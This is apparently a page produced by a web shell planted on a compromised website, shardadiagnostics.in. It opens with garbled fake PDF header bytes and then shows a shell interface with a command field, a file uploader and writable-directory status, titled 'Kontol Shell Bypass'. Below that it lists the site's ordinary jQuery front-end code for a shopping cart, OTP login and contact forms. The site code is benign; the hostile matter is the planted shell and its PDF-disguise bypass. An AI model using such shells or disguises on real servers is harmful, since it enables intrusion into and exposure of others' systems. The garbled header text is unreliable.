%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardadiagnostics.in/assets/js/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardadiagnostics.in/assets/js/system_old.js
/* 
 * There are functions who needs to load in every template.
 * Shopping cart managing is here and etc.
 */
 
 
 /* Apply Filter*/
 
 function getRiskResults(){
	jQuery('#filter_form').submit();
 }
 /* Apply for course */
 
 $("#apply_for_course").click(function () {
	var base_url = $('body').attr('data-base-url');
	var full_name = $("#full_name").val();
	var email_id = $("#email_id").val();
	var remarks = $("#remarks").val();
	var mobile_number = $("#mobile_number").val();
	var course_id = $("#course_id").val();
	
	// Remove error message 
	$( "#full_name_msg" ).remove();
	$( "#email_id_msg" ).remove();
	$( "#mobile_number_msg" ).remove();
	$( "#remarks_msg" ).remove();
	
	var error_flag = 'N';
	if(full_name==''){
		$("<span style='color:red;' id='full_name_msg'>Please enter full name.</span>" ).insertAfter("#full_name");
		error_flag = 'Y';
	} 
	
	if(email_id==''){
		$("<span style='color:red;' id='email_id_msg'>Please enter valid email id.</span>" ).insertAfter("#email_id");
		error_flag = 'Y';
	} 
	
	if(mobile_number==''){
		$("<span style='color:red;' id='mobile_number_msg'>Please enter 10 digit valid mobile number.</span>" ).insertAfter("#mobile_number");
		error_flag = 'Y';
	} else if(!mobile_number.match('[0-9]{10}'))  {
               $("<span style='color:red;' id='mobile_number_msg'>Please enter 10 digit valid mobile number.</span>" ).insertAfter("#mobile_number");
				error_flag = 'Y';
    }
	
	if(remarks==''){
		$("<span style='color:red;' id='remarks_msg'>Please enter your comments.</span>" ).insertAfter("#remarks");
		error_flag = 'Y';
	} 
	
	if(error_flag == 'N'){
		
		$.ajax({
		
			type: "POST",
			url : $('body').attr('data-base-url') + 'CourcesOffered/applyForCourse',
			data: { full_name : full_name, remarks : remarks, mobile_number : mobile_number, email_id : email_id,course_id: course_id }, 
			success: function(data){
			
			if(data=='ERROR') {
				$("#msg_display").html("<span style='color:red;' id='mobile_number_msg'>We have already received your enquiry for above course.</span>" );
				return false;
			} else {
				$("#msg_display").html("<span style='color:green;' id='mobile_number_msg'>Thanks for applying. We will get back to you. </span>" );
				setTimeout(function() { $('#course_mba').slideUp("slow"); }, 9000);
				$(location).attr('href', base_url+'CourcesOffered');
				return false;
			}
		  }
		 
		}); 
		
	}
	return false;
 } );
 
	
/* Apply For Cources */
$(".aboutRightBox").on("click",".modalButtonCourseOff", function(e) {
	$.ajax({
	  url : $('body').attr('data-base-url') + 'CourcesOffered/get_modal',
	  method: 'post', 
	  data : {
		id: $(this).attr('data-src')
	  }
	}).done(function(data) {
	  $('#course_mba').find('.modal-body').html(data);
	  $('#course_mba').modal('show'); 
	})
});
  
 
 /*  Edit User Info */
 function editUserInfo(member_id) {
	 $("#edit_member_info_"+member_id).show();
	return false;
 }
 
 /*  Close User Info */
 function closeEditmemberDtl(member_id) {
	 $("#edit_member_info_"+member_id).hide();
	return false;
 }
 
 
 /*  Edit User Info */
 function editMemberInfo(member_id) {
	 
	var base_url = $("#base_url").val();
	var full_name = $("#full_name_"+member_id).val();
	var age = $("#age_"+member_id).val();
	var dob = $("#dob_"+member_id).val();
	var mobile_number = $("#mobile_number_"+member_id).val();
	var gender =  $('input[name=gender_'+member_id+']:checked').val();
	var relation =  $('input[name=relation_'+member_id+']:checked').val();
	
	// Remove error message 
	$( "#full_name_msg" ).remove();
	$( "#mobile_number_msg" ).remove();
	$( "#gender_msg" ).remove();
	$( "#relation_msg" ).remove();
	$( "#dob_msg" ).remove();
	$( "#age_msg" ).remove();
	
	var error_flag = 'N';
	if(full_name==''){
		$("<span style='color:red;' id='full_name_msg'>Please enter full name.</span>" ).insertAfter("#full_name_"+member_id);
		error_flag = 'Y';
	} 
	
	if(mobile_number==''){
		$("<span style='color:red;' id='mobile_number_msg'>Please enter 10 digit valid mobile number.</span>" ).insertAfter("#mobile_number_"+member_id);
		error_flag = 'Y';
	} else if(!mobile_number.match('[0-9]{10}'))  {
               $("<span style='color:red;' id='mobile_number_msg'>Please enter 10 digit valid mobile number.</span>" ).insertAfter("#mobile_number_"+member_id);
				error_flag = 'Y';
    }
	
	if(gender==''){
		$("<span style='color:red;' id='gender_msg'>Please select gender.</span>" ).insertAfter("#gender_"+member_id);
		error_flag = 'Y';
	} if(relation==''){
		$("<span style='color:red;' id='relation_msg'>Please enter 10 digit valid mobile number.</span>" ).insertAfter("#relation_"+member_id);
		error_flag = 'Y';
	} if(dob==''){
		$("<span style='color:red;' id='dob_msg'>Please select date of birth.</span>" ).insertAfter("#dob_"+member_id);
		error_flag = 'Y';
	} if(age==''){
		$("<span style='color:red;' id='age_msg'>Please enter age.</span>" ).insertAfter("#age_"+member_id);
		error_flag = 'Y';
	}
	
	if(error_flag == 'N'){
		
		$.ajax({
		
			type: "POST",
			url: base_url+"users/addFamilyMember",
			data: { full_name : full_name, age : age, relation : relation, gender : gender, mobile_number : mobile_number, dob : dob,member_id: member_id }, 
			success: function(data){
			
			if(data=='101') {
				$("<span style='color:red;' id='mobile_number_msg'>This mobile number already exist.</span>" ).insertAfter("#mobile_number");
				return false;
			} else {
				setTimeout(function() { $('#'+data).slideUp("slow"); }, 2000);
				$(location).attr('href', base_url+'mycart'); 
				return false;
			}
		  }
		 
		}); 
		
	} 
	return false;
	
 }
 /*
 * Add More Packages
 */
 
 function addMorePackages(member_id){
	 
	var form_name = 'memberform_'+member_id;
	jQuery('#'+form_name).submit();
	
 }
 /*
 * Add New Family Members
 */
 
 $("#addNewFamilyMembers").click(function () {
	var base_url = $("#base_url").val();
	var full_name = $("#full_name").val();
	var age = $("#age").val();
	var dob = $("#dob").val();
	var mobile_number = $("#mobile_number").val();
	var gender =  $('input[name=gender]:checked').val();
	var relation =  $('input[name=relation]:checked').val();
	
	// Remove error message 
	$( "#full_name_msg" ).remove();
	$( "#mobile_number_msg" ).remove();
	$( "#gender_msg" ).remove();
	$( "#relation_msg" ).remove();
	$( "#dob_msg" ).remove();
	$( "#age_msg" ).remove();
	
	var error_flag = 'N';
	if(full_name==''){
		$("<span style='color:red;' id='full_name_msg'>Please enter full name.</span>" ).insertAfter("#full_name");
		error_flag = 'Y';
	} 
	
	if(mobile_number==''){
		$("<span style='color:red;' id='mobile_number_msg'>Please enter 10 digit valid mobile number.</span>" ).insertAfter("#mobile_number");
		error_flag = 'Y';
	} else if(!mobile_number.match('[0-9]{10}'))  {
               $("<span style='color:red;' id='mobile_number_msg'>Please enter 10 digit valid mobile number.</span>" ).insertAfter("#mobile_number");
				error_flag = 'Y';
    }
	
	if(gender==''){
		$("<span style='color:red;' id='gender_msg'>Please select gender.</span>" ).insertAfter("#gender");
		error_flag = 'Y';
	} if(relation==''){
		$("<span style='color:red;' id='relation_msg'>Please enter 10 digit valid mobile number.</span>" ).insertAfter("#relation");
		error_flag = 'Y';
	} if(dob==''){
		$("<span style='color:red;' id='dob_msg'>Please select date of birth.</span>" ).insertAfter("#dob");
		error_flag = 'Y';
	} if(age==''){
		$("<span style='color:red;' id='age_msg'>Please enter age.</span>" ).insertAfter("#age");
		error_flag = 'Y';
	}
	
	
	if(error_flag == 'N'){
		
		$.ajax({
		
			type: "POST",
			url: base_url+"users/addFamilyMember",
			data: { full_name : full_name, age : age, relation : relation, gender : gender, mobile_number : mobile_number, dob : dob }, 
			success: function(data){
			if(data=='101') {
				$("<span style='color:red;' id='mobile_number_msg'>This mobile number already exist.</span>" ).insertAfter("#mobile_number");
				return false;
			} else {
				setTimeout(function() { $('#'+data).slideUp("slow"); }, 2000);
				$(location).attr('href', base_url+'mycart'); 
				return false;
			}
		  }
		 
		}); 
		
	}
	 return false;
 });
 
 /*
 *  Show Add new members Info Page
 */
 $("#addnewfmember").click(function () {
	 $("#addNewMemberDetais").show();
 });
 
  /*
 * Add New Family Members
 */
 $("#closememberDtl").click(function () {
	 $("#addNewMemberDetais").hide();
 });
 
 
 /*
 * Remove Items from Cart
 */
 
 function removeCartItems(cart_id, member_id) {
	var base_url = $("#base_url").val();
	$.ajax({
		
		  type: "POST",
		  url: base_url+"mycart/removeItems",
		  data: { cart_id : cart_id, member_id : member_id }, // pass it as POST parameter
		  success: function(data){
			if(data=='101') {
				$("#error_msg").html('<p style="color:red;">Invalid request</p>');
				return false;
			} else {
				setTimeout(function() { $('#'+data).slideUp("slow"); }, 1000);
				$(location).attr('href', base_url+'mycart'); 
				return false;
			}
		 }
		 
	}); 
	
 }
 /* Add To Cart */
 
 function addToCart(product_id, member_info){
	var base_url = $("#base_url").val(); 
	$.ajax({
		
		  type: "POST",
		  url: base_url+"mycart/addtocart",
		  data: { product_id : product_id, member_info : member_info }, // pass it as POST parameter
		  success: function(data){
			 if(data>0){
				$(location).attr('href', base_url+'mycart'); 
			 }  else {
				 $("#"+data).html('<p style="color:red;">Alreay Added</p>');
			 }
			return false;
		 }
		 
	}); 
 }
 
/* Login / Signup */

$("#loginsignup").click(function () {
	
	var base_url = $("#base_url").val();
	var login_phone = $("#login_phone").val();
	$("#login_phone").removeClass('has-error');
	if(login_phone==''){
	   $("#login_phone").addClass('has-error');
	   return false;
    } else {
	    var filter = /^((\+[1-9]{1,4}[ \-]*)|(\([0-9]{2,3}\)[ \-]*)|([0-9]{2,4})[ \-]*)*?[0-9]{3,4}?[ \-]*[0-9]{3,4}?$/;
		if (filter.test(login_phone) && jQuery.trim(login_phone).length >= 10) {
			$("#login_phone").removeClass('has-error');
			
			$.ajax({
				
				  type: "POST",
				  url: base_url+"home/loginsignup",
				  data: { mobile : login_phone }, // pass it as POST parameter
				  success: function(data){
					if(data>0){
						$("#your_number").html(login_phone);
						$("#step1_login").hide();
						$(".loginWith").hide();
						$("#step2_login").show();
						$("#callbackopt_success").show();
						$("#userotp").removeClass('has-error');
						$("#callbackopt_success").html('<p ng-bind="callbackopt_success_message">OTP has been sent to your above mobile number.</p>');
						setTimeout(function() { $('#callbackopt_success').slideUp("slow"); }, 5000);
						return false;
					} else { 
						$("#login_phone").addClass('has-error');
					}
				 }
				 
			});
		
			return false;
			
			
		} else {
			$("#login_phone").addClass('has-error');
			return false;
		}
   }
	
});

/* Resend OTP for login/signup */
$('#resend_loginsignup_opt').click(function () {
	
   var base_url = $("#base_url").val();
   var login_phone = $("#login_phone").val();
   $("#login_phone").removeClass('has-error');
   if(login_phone==''){
	   $("#login_phone").addClass('has-login_phone');
	   return false;
   } else {
	    var filter = /^((\+[1-9]{1,4}[ \-]*)|(\([0-9]{2,3}\)[ \-]*)|([0-9]{2,4})[ \-]*)*?[0-9]{3,4}?[ \-]*[0-9]{3,4}?$/;
		if (filter.test(login_phone) && jQuery.trim(login_phone).length >= 10) {
			$("#login_phone").removeClass('has-error');
			
			$.ajax({
				
				  type: "POST",
				  url: base_url+"home/loginsignup",
				  data: { mobile : login_phone }, // pass it as POST parameter
				  success: function(data){
					
					if(data>0){
						$("#callbackopt_success").show();
						$("#callbackopt_success").html('<p ng-bind="callbackopt_success_message">OTP re-send Successfully.</p>');
						setTimeout(function() { $('#callbackopt_success').slideUp("slow"); }, 5000);
						
						return false;
					} else { 
						$("#callbackopt_error").show();
						$("#callbackopt_error").html('<p ng-bind="callbackopt_message"></p>');
						setTimeout(function() { $('#callbackopt_error').slideUp("slow"); }, 5000);
						return false;
					}
				 }
				 
			});
		
			return false;
			
			
		} else {
			$("#login_phone").addClass('has-error');
			return false;
		}
   }
   
});

/* Validate OTP and redirect the dashbaord page */

$("#loginsteps").click(function () {
		var base_url = $("#base_url").val();
		var login_phone = $("#login_phone").val();
		var mobile_otp = $("#userotp").val();
		
		$("#userotp").removeClass('has-error');
		$("#resend_error_msg").hide();
		
		if(mobile_otp==''){
			$("#userotp").addClass('has-error');
			return false;
			
		} else {
			
			$("#userotp").removeClass('has-error');
			
			if (mobile_otp.match('[0-9]{4}') && jQuery.trim(mobile_otp).length ==4) {
			
				$.ajax({
					
					  type: "POST",
					  url: base_url+"users/login",
					  data: { mobile : login_phone, otp : mobile_otp }, // pass it as POST parameter
					  success: function(data){
						
						if(data>0){
							
							$(location).attr('href', base_url+'mycart');
							return false;
							
						} else { 
							$("#userotp").addClass('has-error');
							$("#callbackopt_error").show();
							$("#callbackopt_error").html('<p ng-bind="callbackopt_message">Invalid OTP</p>');
							setTimeout(function() { $('#callbackopt_error').slideUp("slow"); }, 5000);
							return false;
						}
					 }
					 
				});
				
				return false;
				
			} else {
				$("#userotp").addClass('has-error');
				$("#callbackopt_error").show();
				$("#callbackopt_error").html('<p ng-bind="callbackopt_message">Invalid OTP</p>');
				setTimeout(function() { $('#callbackopt_error').slideUp("slow"); }, 5000);
				return false;
				
			}
		}
});

/* advisor form */
$("#advisor_continue").click(function () {
		var base_url = $("#base_url").val();
		var advisor_mobile = $("#advisor_mobile").val();
		var mobile_otp = $("#mobile_otp").val();
		
		$("#mobile_otp").removeClass('has-error');
		$("#resend_error_msg").hide();
		
		if(mobile_otp==''){
			$("#mobile_otp").addClass('has-error');
			return false;
			
		} else {
			
			$("#mobile_otp").removeClass('has-error');
			
			if (mobile_otp.match('[0-9]{4}') && jQuery.trim(mobile_otp).length ==4) {
			
				$.ajax({
					
					  type: "POST",
					  url: base_url+"home/advisor",
					  data: { mobile : advisor_mobile, otp : mobile_otp }, // pass it as POST parameter
					  success: function(data){
						
						if(data>0){
							
							$("#otp_screen").hide();
							$("#booked_advisor").show();
							setTimeout(function() { $('.formForMobNo').slideUp("slow"); }, 10000);
							return false;
							
						} else { 
							$("#resend_error_msg").show();
							$("#mobile_otp").addClass('has-error');
							$("#resend_error_msg").html('Invalid OTP');
							setTimeout(function() { $('#resend_error_msg').slideUp("slow"); }, 5000);
						}
					 }
					 
				});
				
				return false;
				
			} else {
				$("#resend_error_msg").show();
				$("#mobile_otp").addClass('has-error');
				$("#resend_error_msg").html('Invalid OTP');
				setTimeout(function() { $('#resend_error_msg').slideUp("slow"); }, 5000);
				return false;
				
			}
		}
});

$('#advisor_submit').click(function () {
	
	var base_url = $("#base_url").val();
	var advisor_mobile = $("#advisor_mobile").val();
	$("#advisor_mobile").removeClass('has-error');
	if(advisor_mobile==''){
	   $("#advisor_mobile").addClass('has-error');
	   return false;
    } else {
	    var filter = /^((\+[1-9]{1,4}[ \-]*)|(\([0-9]{2,3}\)[ \-]*)|([0-9]{2,4})[ \-]*)*?[0-9]{3,4}?[ \-]*[0-9]{3,4}?$/;
		if (filter.test(advisor_mobile) && jQuery.trim(advisor_mobile).length >= 10) {
			$("#advisor_mobile").removeClass('has-error');
			
			$.ajax({
				
				  type: "POST",
				  url: base_url+"home/advisor",
				  data: { mobile : advisor_mobile }, // pass it as POST parameter
				  success: function(data){
					
					if(data>0){
						$("#show_mobile_number").html(advisor_mobile);
						$("#advisor_form").hide();
						$("#otp_screen").show();
						return false;
					} else { 
						$("#advisor_mobile").addClass('has-error');
					}
				 }
				 
			});
		
			return false;
			
			
		} else {
			$("#advisor_mobile").addClass('has-error');
			return false;
		}
   }
   
});

/* Get Call  */
$('#getacall').click(function () {
	
	var base_url = $("#base_url").val();
	var advisor_mobile = $("#getacall_phone").val();
	var advisor_name = $("#getcall_name").val();

	$("#getacall_phone").removeClass('has-error');
	$("#getcall_name").removeClass('has-error');

    if(advisor_mobile=='' && advisor_name==''){
		
		$("#getacall_phone").addClass('has-error');
		$("#getcall_name").addClass('has-error');
		return false;
		
    } else if(advisor_mobile==''){
		
		$("#getacall_phone").addClass('has-error');
		return false;
		
   } else if(advisor_name==''){ 
   
		$("#getcall_name").addClass('has-error');
		return false;
		
   } else {
	   
	    var filter = /^((\+[1-9]{1,4}[ \-]*)|(\([0-9]{2,3}\)[ \-]*)|([0-9]{2,4})[ \-]*)*?[0-9]{3,4}?[ \-]*[0-9]{3,4}?$/;
		if (filter.test(advisor_mobile) && jQuery.trim(advisor_mobile).length >= 10) {
			
			$("#advisor_mobile").removeClass('has-error');
		
			$.ajax({
				
				  type: "POST",
				  url: base_url+"home/callHealthAdvisor",
				  data: { mobile : advisor_mobile, full_name : advisor_name }, // pass it as POST parameter
				  success: function(data){
					  
						if(data>0){
						$("#call_mobile_number").html(advisor_mobile);
						$("#getacall_form").hide();
						$("#getacall_otp").show();
						return false;
					} else { 
						$("#advisor_mobile").addClass('has-error');
					}
				 }
				 
			});
		
			return false;
			
			
		} else {
			$("#advisor_mobile").addClass('has-error');
			return false;
		}
   }
   
});


$('#call_resend_opt').click(function () {
	
   var base_url = $("#base_url").val();
   var advisor_mobile = $("#getacall_phone").val();
   $("#getacall_phone").removeClass('has-error');
   if(advisor_mobile==''){
	   $("#getacall_phone").addClass('has-error');
	   return false;
   } else {
	    var filter = /^((\+[1-9]{1,4}[ \-]*)|(\([0-9]{2,3}\)[ \-]*)|([0-9]{2,4})[ \-]*)*?[0-9]{3,4}?[ \-]*[0-9]{3,4}?$/;
		if (filter.test(advisor_mobile) && jQuery.trim(advisor_mobile).length >= 10) {
			$("#getacall_phone").removeClass('has-error');
			
			$.ajax({
				
				  type: "POST",
				  url: base_url+"home/callHealthAdvisor",
				  data: { mobile : advisor_mobile }, // pass it as POST parameter
				  success: function(data){
					
					if(data>0){
						$("#call_resend_msg").show();
						setTimeout(function() { $('#call_resend_msg').slideUp("slow"); }, 5000);
						return false;
					} else { 
						$("#call_resend_error_msg").show();
						setTimeout(function() { $('#call_resend_error_msg').slideUp("slow"); }, 5000);
						return false;
					}
				 }
				 
			});
		
			return false;
			
			
		} else {
			$("#getacall_phone").addClass('has-error');
			return false;
		}
   }
   
});

$("#call_advisor_continue").click(function () {
		var base_url = $("#base_url").val();
		var advisor_mobile = $("#getacall_phone").val();
		var mobile_otp = $("#call_mobile_otp").val();
		
		$("#call_mobile_otp").removeClass('has-error');
		$("#call_resend_error_msg").hide();
		
		if(mobile_otp==''){
			$("#call_mobile_otp").addClass('has-error');
			return false;
			
		} else {
			
			$("#call_mobile_otp").removeClass('has-error');
			
			if (mobile_otp.match('[0-9]{4}') && jQuery.trim(mobile_otp).length ==4) {
			
				$.ajax({
					
					  type: "POST",
					  url: base_url+"home/callHealthAdvisor",
					  data: { mobile : advisor_mobile, otp : mobile_otp }, // pass it as POST parameter
					  success: function(data){
					
						if(data>0){
							
							$("#getacall_otp").hide();
							$("#getacall_form").show();
							$("#alert_msg").show();
							$("#getacall_phone").val('');
							$("#getcall_name").val('');
							$("#alert_msg").html('You will get a call back shortly');
							setTimeout(function() { $('#alert_msg').slideUp("slow"); }, 5000);
							return false;
							
						} else { 
							$("#call_resend_error_msg").show();
							$("#call_mobile_otp").addClass('has-error');
							$("#call_resend_error_msg").html('Invalid OTP');
							setTimeout(function() { $('#call_resend_error_msg').slideUp("slow"); }, 5000);
						}
					 }
					 
				});
				
				return false;
				
			} else {
				$("#call_resend_error_msg").show();
				$("#call_mobile_otp").addClass('has-error');
				$("#call_resend_error_msg").html('Invalid OTP');
				setTimeout(function() { $('#call_resend_error_msg').slideUp("slow"); }, 5000);
				return false;
				
			}
		}
});

$('#resend_callback_opt').click(function () {
	
   var base_url = $("#base_url").val();
   var advisor_mobile = $("#advisor_mobile").val();
   $("#advisor_mobile").removeClass('has-error');
   if(advisor_mobile==''){
	   $("#advisor_mobile").addClass('has-error');
	   return false;
   } else {
	    var filter = /^((\+[1-9]{1,4}[ \-]*)|(\([0-9]{2,3}\)[ \-]*)|([0-9]{2,4})[ \-]*)*?[0-9]{3,4}?[ \-]*[0-9]{3,4}?$/;
		if (filter.test(advisor_mobile) && jQuery.trim(advisor_mobile).length >= 10) {
			$("#advisor_mobile").removeClass('has-error');
			
			$.ajax({
				
				  type: "POST",
				  url: base_url+"home/advisor",
				  data: { mobile : advisor_mobile }, // pass it as POST parameter
				  success: function(data){
					
					if(data>0){
						$("#resend_msg").show();
						setTimeout(function() { $('#resend_msg').slideUp("slow"); }, 5000);
						return false;
					} else { 
						$("#resend_error_msg").show();
						setTimeout(function() { $('#resend_error_msg').slideUp("slow"); }, 5000);
						return false;
					}
				 }
				 
			});
		
			return false;
			
			
		} else {
			$("#advisor_mobile").addClass('has-error');
			return false;
		}
   }
   
});

// Shopping Cart Manager
$('a.add-to-cart').click(function () {
    var reload = false;
    var article_id = $(this).data('id');
    var goto_site = $(this).data('goto');
    if ($(this).hasClass('refresh-me')) {
        reload = true;
    } else if (goto_site != null) {
        reload = goto_site;
    }
    manageShoppingCart('add', article_id, reload);
});

//DatePicker
if (typeof datepicker !== 'undefined') {
    $('.input-group.date').datepicker({
        format: "dd/mm/yy"
    });
}

//Filters Technique
$('.go-category').click(function () {
    var category = $(this).data('categorie-id');
    $('[name="category"]').val(category);
    submitForm();
});
$('.in-stock').click(function () {
    var in_stock = $(this).data('in-stock');
    $('[name="in_stock"]').val(in_stock);
    submitForm()
});
$(".order").change(function () {
    var order_type = $(this).val();
    var order_to = $(this).data('order-to');
    $('[name="' + order_to + '"]').val(order_type);
    submitForm();
});
$('.brand').click(function () {
    var brand_id = $(this).data('brand-id');
    $('[name="brand_id"]').val(brand_id);
    submitForm()
});
$("#search_in_title").keyup(function () {
    $('[name="search_in_title"]').val($(this).val());
});
$('#clear-form').click(function () {
    $('#search_in_title, [name="search_in_title"]').val('');
    $('#bigger-search .form-control').each(function () {
        $(this).val('');
    });
    submitForm();
});
$('.clear-filter').click(function () { //clear filter in right col
    var type_clear = $(this).data('type-clear');
    $('[name="' + type_clear + '"]').val('');
    submitForm();
});
/*
 * Submit search form in home page
 */
function submitForm() {
    document.getElementById("bigger-search").submit();
}
/*
 * Discount code checker
 */
var is_discounted = false;
function checkDiscountCode() {
    var enteredCode = $('[name="discountCode"]').val();
    $.ajax({
        type: "POST",
        url: variable.discountCodeChecker,
        data: {enteredCode: enteredCode}
    }).done(function (data) {
        if (data == 0) {
            ShowNotificator('alert-danger', lang.discountCodeInvalid);
        } else {
            if (is_discounted == false) {
                var obj = jQuery.parseJSON(data);
                var final_amount_before = parseFloat($('.final-amount').text());
                var discountAmoun;
                if (obj.type == 'percent') {
                    var substract_num = (obj.amount / 100) * final_amount_before;
                    var final_amount = final_amount_before - substract_num;
                    discountAmoun = substract_num;
                }
                if (obj.type == 'float') {
                    var final_amount = final_amount_before - obj.amount;
                    discountAmoun = obj.amount;
                }
                $('.final-amount').text(final_amount.toFixed(2));
                $('.final-amount').val(final_amount.toFixed(2));
                $('[name="discountAmount"]').val(discountAmoun);
                is_discounted = true;
            }
        }
    });
}

function removeProduct(id, reload) {
    manageShoppingCart('remove', id, reload);
}
function manageShoppingCart(action, article_id, reload) {
    var action_error_msg = lang.error_to_cart;
    if (action == 'add') {
        $('.add-to-cart a[data-id="' + article_id + '"] span').hide();
        $('.add-to-cart a[data-id="' + article_id + '"] img').show();
        var action_success_msg = lang.added_to_cart;
    }
    if (action == 'remove') {
        var action_success_msg = lang.remove_from_cart;
    }
    $.ajax({
        type: "POST",
        url: variable.manageShoppingCartUrl,
        data: {article_id: article_id, action: action}
    }).done(function (data) {
        $(".dropdown-cart").empty();
        $(".dropdown-cart").append(data);
        var sum_items = parseInt($('.sumOfItems').text());
        if (action == 'add') {
            $('.sumOfItems').text(sum_items + 1);
        }
        if (action == 'remove') {
            $('.sumOfItems').text(sum_items - 1);
        }
        if (reload == true) {
            location.reload(false);
            return;
        } else if (typeof reload == 'string') {
            location.href = reload;
            return;
        }
        ShowNotificator('alert-info', action_success_msg);
    }).fail(function (err) {
        ShowNotificator('alert-danger', action_error_msg);
    }).always(function () {
        if (action == 'add') {
            $('.add-to-cart a[data-id="' + article_id + '"] span').show();
            $('.add-to-cart a[data-id="' + article_id + '"] img').hide();
        }
    });
}

function clearCart() {
    $.ajax({type: "POST", url: variable.clearShoppingCartUrl});
    $('ul.dropdown-cart').empty();
    $('ul.dropdown-cart').append('<li class="text-center">' + lang.no_products + '</li>');
    $('.sumOfItems').text(0);
    ShowNotificator('alert-info', lang.cleared_cart);
}

//Email Subscribe
function checkEmailField() {
	
    var email_id = $("#subscribeEmail").val();
    $("#subscribeEmail").removeClass('has-error');
    var emailReg =  /^[a-z0-9]+([-._][a-z0-9]+)*@([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,4}$/;
	
	if(email_id==''){
		
		$("#subscribeEmail").addClass('has-error');
		return false;
	} else {
		
	  if(emailReg.test( email_id )){
		 return true; 
	  } else {
		 $("#subscribeEmail").addClass('has-error');
		 return false; 
	  }
	}

   
}

 function validateEmail($email) {
  var emailReg = /^([\w-\.]+@([\w-]+\.)+[\w-]{2,4})?$/;
  return emailReg.test( $email );
}


// Top Notificator
function ShowNotificator(add_class, the_text) {
    $('div#notificator').text(the_text).addClass(add_class).slideDown('slow').delay(3000).slideUp('slow', function () {
        $(this).removeClass(add_class).empty();
    });
}

Kontol Shell Bypass